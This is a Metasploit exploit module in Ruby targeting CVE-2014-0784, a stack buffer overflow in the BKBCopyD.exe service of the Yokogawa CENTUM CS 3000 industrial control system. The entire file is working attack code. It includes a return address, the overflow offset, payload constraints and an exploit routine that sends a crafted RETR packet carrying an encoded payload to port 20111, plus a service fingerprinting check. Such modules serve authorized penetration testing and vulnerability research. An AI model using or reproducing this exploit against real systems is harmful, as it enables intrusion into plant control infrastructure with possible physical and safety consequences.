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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
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        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
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        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
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      },
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      'Author'         =>
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        [
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          'juan vazquez',
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          'Redsadic <julian.vilas[at]gmail.com>'
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        ],
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      'References'     =>
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        [
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          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
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          [ 'CVE', '2014-0784']
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        ],
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      'Payload'        =>
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        {
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          'Space'          => 373, # 500 for the full RETR argument
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          'DisableNops'    => true,
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          'BadChars'       => "\x00\x0d\x0a\xff",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
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        },
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
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            {
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              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]
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              'Offset' => 123
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            }
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          ],
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        ],
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      'DisclosureDate' => '2014-03-10',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(20111)
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      ])
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  end
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  def check
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    pkt = build_probe
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    res = send_pkt(pkt)
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    if valid_response?(res)
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      return Exploit::CheckCode::Detected
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    data = "RETR "
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    data << rand_text(target['Offset'])
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    data << [target.ret].pack("V")
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    data << payload.encoded
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    data << "\n"
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    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
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    connect
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    sock.put(data)
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    disconnect
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  end
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  def build_probe
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    "#{rand_text_alpha(10)}\n"
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  end
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  def send_pkt(data)
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    connect
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    sock.put(data)
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    data = sock.get_once
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    disconnect
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    return data
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  end
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  def valid_response?(data)
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    return false unless !!data
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    return false unless data =~ /500  'yyparse error': command not understood/
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    return true
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  end
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end
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